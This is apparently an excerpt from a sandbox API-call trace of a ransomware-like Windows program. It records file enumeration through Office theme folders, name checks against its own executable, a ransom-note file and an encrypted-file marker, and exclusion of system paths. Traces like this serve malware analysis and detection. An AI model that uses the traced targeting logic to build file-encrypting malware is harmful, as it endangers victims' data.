	[0078.703] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1
	[0078.703] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2="Windows") returned -1
	[0078.703] lstrcmpW (lpString1="STRTEDGE.ELM", lpString2="oiikyy.exe") returned 1
	[0078.703] StrStrW (lpFirst="STRTEDGE.ELM", lpSrch=".~~~~") returned 0x0
	[0078.703] lstrcmpW (lpString1="STRTEDGE.ELM", lpString2="Read~ME.txt") returned 1
	[0078.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.703] GetCurrentThreadId () returned 0x618
	[0078.703] RtlWakeConditionVariable () returned 0x365f48
	[0078.703] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1
	[0078.703] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2="Windows") returned -1
	[0078.703] lstrcmpW (lpString1="STRTEDGE.INF", lpString2="oiikyy.exe") returned 1
	[0078.703] StrStrW (lpFirst="STRTEDGE.INF", lpSrch=".~~~~") returned 0x0
	[0078.703] lstrcmpW (lpString1="STRTEDGE.INF", lpString2="Read~ME.txt") returned 1
	[0078.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.703] GetCurrentThreadId () returned 0x618
	[0078.703] RtlWakeConditionVariable () returned 0x365f48
	[0078.703] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.703] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.703] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.703] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.704] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.704] GetCurrentThreadId () returned 0x618
	[0078.704] RtlWakeConditionVariable () returned 0x365f48
	[0078.704] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.704] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.704] GetCurrentThreadId () returned 0x618
	[0078.704] RtlWakeConditionVariable () returned 0x365f48
	[0078.704] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1
	[0078.704] lstrcmpiW (lpString1="STUDIO", lpString2="Windows") returned -1
	[0078.704] lstrcmpW (lpString1="STUDIO", lpString2=".") returned 1
	[0078.704] lstrcmpW (lpString1="STUDIO", lpString2="..") returned 1
	[0078.704] lstrcmpW (lpString1="STUDIO", lpString2="AppData") returned 1
	[0078.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO", lpSrch="AppData") returned 0x0
	[0078.704] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.704] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO", lpString2="C:\\Windows") returned -1
	[0078.704] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.704] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO", lpString2="C:\\System Volume Information") returned -1
	[0078.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.705] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.705] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.705] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.705] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.705] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.705] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.705] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.705] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.705] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.705] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.705] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.705] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.705] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.705] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.705] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.705] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.706] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb420
	[0078.706] GetCurrentThreadId () returned 0x618
	[0078.706] RtlWakeConditionVariable () returned 0x365f48
	[0078.706] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1
	[0078.706] lstrcmpiW (lpString1="STUDIO.ELM", lpString2="Windows") returned -1
	[0078.706] lstrcmpW (lpString1="STUDIO.ELM", lpString2="oiikyy.exe") returned 1
	[0078.706] StrStrW (lpFirst="STUDIO.ELM", lpSrch=".~~~~") returned 0x0
	[0078.706] lstrcmpW (lpString1="STUDIO.ELM", lpString2="Read~ME.txt") returned 1
	[0078.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb420
	[0078.706] GetCurrentThreadId () returned 0x618
	[0078.706] RtlWakeConditionVariable () returned 0x365f48
	[0078.706] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1
	[0078.706] lstrcmpiW (lpString1="STUDIO.INF", lpString2="Windows") returned -1
	[0078.706] lstrcmpW (lpString1="STUDIO.INF", lpString2="oiikyy.exe") returned 1
	[0078.706] StrStrW (lpFirst="STUDIO.INF", lpSrch=".~~~~") returned 0x0
	[0078.706] lstrcmpW (lpString1="STUDIO.INF", lpString2="Read~ME.txt") returned 1
	[0078.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb420
	[0078.706] GetCurrentThreadId () returned 0x618
	[0078.706] RtlWakeConditionVariable () returned 0x365f48
	[0078.706] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.706] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.706] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.706] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.706] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb420
	[0078.707] GetCurrentThreadId () returned 0x618
	[0078.707] RtlWakeConditionVariable () returned 0x365f48
	[0078.707] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.707] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb420
	[0078.707] GetCurrentThreadId () returned 0x618
	[0078.707] RtlWakeConditionVariable () returned 0x365f48
	[0078.707] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1
	[0078.707] lstrcmpiW (lpString1="SUMIPNTG", lpString2="Windows") returned -1
	[0078.707] lstrcmpW (lpString1="SUMIPNTG", lpString2=".") returned 1
	[0078.707] lstrcmpW (lpString1="SUMIPNTG", lpString2="..") returned 1
	[0078.707] lstrcmpW (lpString1="SUMIPNTG", lpString2="AppData") returned 1
	[0078.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG", lpSrch="AppData") returned 0x0
	[0078.707] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.707] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG", lpString2="C:\\Windows") returned -1
	[0078.707] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.707] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG", lpString2="C:\\System Volume Information") returned -1
	[0078.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.707] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.742] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.742] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.742] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.742] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.742] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.743] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.743] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.743] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.743] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.743] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.743] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.743] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.743] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.743] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.743] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.743] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.743] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.743] GetCurrentThreadId () returned 0x618
	[0078.743] RtlWakeConditionVariable () returned 0x365f48
	[0078.743] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1
	[0078.743] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="Windows") returned -1
	[0078.743] lstrcmpW (lpString1="SUMIPNTG.ELM", lpString2="oiikyy.exe") returned 1
	[0078.743] StrStrW (lpFirst="SUMIPNTG.ELM", lpSrch=".~~~~") returned 0x0
	[0078.743] lstrcmpW (lpString1="SUMIPNTG.ELM", lpString2="Read~ME.txt") returned 1
	[0078.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.743] GetCurrentThreadId () returned 0x618
	[0078.743] RtlWakeConditionVariable () returned 0x365f48
	[0078.744] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1
	[0078.744] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="Windows") returned -1
	[0078.744] lstrcmpW (lpString1="SUMIPNTG.INF", lpString2="oiikyy.exe") returned 1
	[0078.744] StrStrW (lpFirst="SUMIPNTG.INF", lpSrch=".~~~~") returned 0x0
	[0078.744] lstrcmpW (lpString1="SUMIPNTG.INF", lpString2="Read~ME.txt") returned 1
	[0078.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.744] GetCurrentThreadId () returned 0x618
	[0078.744] RtlWakeConditionVariable () returned 0x365f48
	[0078.744] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.744] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.744] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.744] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.744] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.744] GetCurrentThreadId () returned 0x618
	[0078.744] RtlWakeConditionVariable () returned 0x365f48
	[0078.744] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.744] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.745] GetCurrentThreadId () returned 0x618
	[0078.745] RtlWakeConditionVariable () returned 0x365f48
	[0078.745] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1
	[0078.745] lstrcmpiW (lpString1="THEMES.INF", lpString2="Windows") returned -1
	[0078.745] lstrcmpW (lpString1="THEMES.INF", lpString2="oiikyy.exe") returned 1
	[0078.745] StrStrW (lpFirst="THEMES.INF", lpSrch=".~~~~") returned 0x0
	[0078.745] lstrcmpW (lpString1="THEMES.INF", lpString2="Read~ME.txt") returned 1
	[0078.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.745] GetCurrentThreadId () returned 0x618
	[0078.745] RtlWakeConditionVariable () returned 0x365f48
	[0078.745] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1
	[0078.745] lstrcmpiW (lpString1="WATER", lpString2="Windows") returned -1
	[0078.745] lstrcmpW (lpString1="WATER", lpString2=".") returned 1
	[0078.745] lstrcmpW (lpString1="WATER", lpString2="..") returned 1
	[0078.745] lstrcmpW (lpString1="WATER", lpString2="AppData") returned 1
	[0078.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER", lpSrch="AppData") returned 0x0
	[0078.745] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.745] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER", lpString2="C:\\Windows") returned -1
	[0078.745] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.745] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER", lpString2="C:\\System Volume Information") returned -1
	[0078.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.802] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.802] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.802] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.802] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.802] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.802] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.802] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.802] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.802] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.802] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.802] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.802] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.802] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
